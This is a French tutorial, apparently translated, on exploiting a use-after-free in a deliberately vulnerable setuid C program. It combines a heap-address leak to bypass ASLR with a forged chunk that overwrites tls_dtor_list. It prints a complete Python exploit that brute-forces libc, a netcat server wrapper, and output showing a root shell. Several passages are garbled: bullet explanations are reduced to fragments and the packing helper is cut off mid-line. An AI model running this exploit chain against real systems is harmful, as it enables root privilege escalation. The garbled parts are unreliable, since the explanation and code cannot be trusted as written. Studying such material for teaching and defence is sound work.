Conditions préalables:
- Vulnérabilité Off-By-One
- Comprendre le travail
malloc
englibc
Configuration de la machine virtuelle: Fedora 20 (x86).
Qu'est-ce que Use-After-Free (UaF)?
Le bogue Use-After-Free se produit si le pointeur de tas continue à être utilisé après avoir été libéré. Une telle vulnérabilité pourrait conduire à l'exécution de code dérivé.
Code vulnérable:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
Commandes de compilation:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
Remarque : par rapport à l' article précédent , l'ASLR est ici inclus. Profitons maintenant du bogue UaF, et puisque ASLR est activé, contournons-le avec les fuites d'informations et la force brute.Dans le code ci-dessus, les vulnérabilités use-after-free se trouvent dans les lignes [6] et [13]. Les mémoires de tas correspondantes sont libérées dans les lignes [5] et [10], mais leurs pointeurs sont utilisés après la désallocation dans les lignes [6] et [13]! UaF en ligne [6] conduit à une fuite d'informations, en ligne [13] - à l'exécution de code arbitraire.
Qu'est-ce qu'une fuite d'informations? Comment un attaquant peut-il l'exploiter?
Dans le code vulnérable ci-dessus (sur la ligne [6]), la fuite se produit à l'adresse du tas. L'adresse de tas qui a fui aidera un attaquant à comprendre facilement l'adresse de segment de tas allouée au hasard, contournant ainsi l'ASLR.
Pour comprendre comment une fuite d'adresse de tas se produit, comprenons d'abord la première moitié du code vulnérable.
- La ligne [1] alloue 16 octets de mémoire de tas pour "nom" .
- [2] 16 «details».
- [3] 1 (argv[1]) «name».
- [4] [5] «name» «details» glibc malloc.
- Printf [6] «name» , .
Après avoir lu l' article de la section Prérequis, nous savons que les morceaux correspondant aux pointeurs «nom» et «détails» sont des morceaux rapides, qui sont stockés à l' index zéro dans des cellules rapides lors de leur libération . Nous savons également que chaque cellule rapide contient une seule liste chaînée de blocs libres. Ainsi, pour revenir à notre exemple, une liste liée à l'index zéro dans une cellule rapide ressemble à ceci:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
En raison de la singularité, les 4 premiers octets de "nom" contiennent l'adresse de "details_chunk" . Ainsi, lorsque "nom" est affiché, l'adresse de "details_chunk" est affichée en premier . Sur la base de la disposition du tas, nous savons que "details_chunk" est décalé de 0x10 par rapport à l'adresse du tas de base. Donc, soustraire 0x10 de l'adresse de tas divulguée nous donnera son adresse de base!
Comment est réalisée l'exécution de code arbitraire?
Maintenant que nous avons l'adresse de base du segment de tas, voyons comment exécuter du code arbitraire en regardant la seconde moitié de notre exemple.
- La ligne [7] alloue une mémoire de segment de 16 octets pour "tmp" .
- [8] 1024 «p1».
- [9] 1024 «p2».
- [10] «p2» glibc malloc.
- [11] 512 «p2_1».
- [12] 512 «p2_2».
- Read [13] «p2» .
- [14] «p1»
glibc malloc
, .
Après avoir lu l' article de la section Prérequis , nous savons que lorsque "p2" est publié
glibc malloc
, il est consolidé dans un bloc supérieur. Plus tard, lorsque la mémoire pour "p2_1" est demandée , elle est allouée à partir du bloc supérieur et "p2" et "p2_2" ont la même adresse de tas. En outre, lorsque la mémoire pour "p2_2" est demandée , elle est allouée à partir du bloc supérieur et "p2_2" est à 512 octets de "p2" . Alors, quand le pointeur "p2"est utilisée après avoir été libérée à la ligne [13], les données contrôlées par l'attaquant (maximum 1019 octets) sont copiées dans "p2_1" , qui ne fait que 512 octets, et donc les données restantes de l'attaquant écrasent le morceau suivant "p2_2" , donnant à l'attaquant la possibilité d'écraser le champ la taille de l'en-tête de bloc suivant.
Schéma du tas:
comme nous le savons d'après l' article de la section Prérequis , si un attaquant parvient à écraser le LSB du champ suivant de taille de bloc, il peut tricher
glibc malloc
pour rompre la connexion avec le bloc p2_1 même s'il est dans un état alloué. Aussi dans cet articleNous avons vu que le détachement d'un gros morceau dans un état alloué peut conduire à l'exécution de code arbitraire si un attaquant a soigneusement falsifié l'en-tête du bloc. L'attaquant crée un faux en-tête de bloc comme indiqué ci-dessous:
fd
doit pointer vers une adresse de bloc libéré. À partir du diagramme de tas, nous pouvons voir que "p2_1" est à l'offset 0x410. De là,fd = heap_base_address
(qui a été reçu en raison de la fuite) + 0x410.bk
doit également pointer vers une adresse de bloc libéré. À partir du diagramme de tas, nous pouvons voir que "p2_1" est à l'offset 0x410. De là,fd = heap_base_address
(qui a été reçu en raison de la fuite) + 0x410.fd_nextsize
tls_dtor_list
– 0x14. «tls_dtor_list»private anonymous mapping glibc
. , , .bk_nextsize
, «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .
Maintenant que nous avons toutes ces informations, nous pouvons écrire un exploit pour attaquer le binaire vulnérable "vuln" .
Code d'exploitation:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
Puisque nous avons besoin de plusieurs tentatives pendant la force brute (jusqu'à ce que nous réussissions), exécutons notre binaire vulnérable "vuln" en tant que serveur réseau et utilisons un script shell pour nous assurer qu'il redémarre automatiquement lorsqu'il plante.
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
L'exécution du code d'exploit ci-dessus vous donnera les privilèges root dans le shell. Arrivé!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
Une source:
1. Réexamen de la vulnérabilité Defcon CTF Shitsco Use-After-Free - Exécution de code à distance
Analyse du Bootkit. Cours gratuit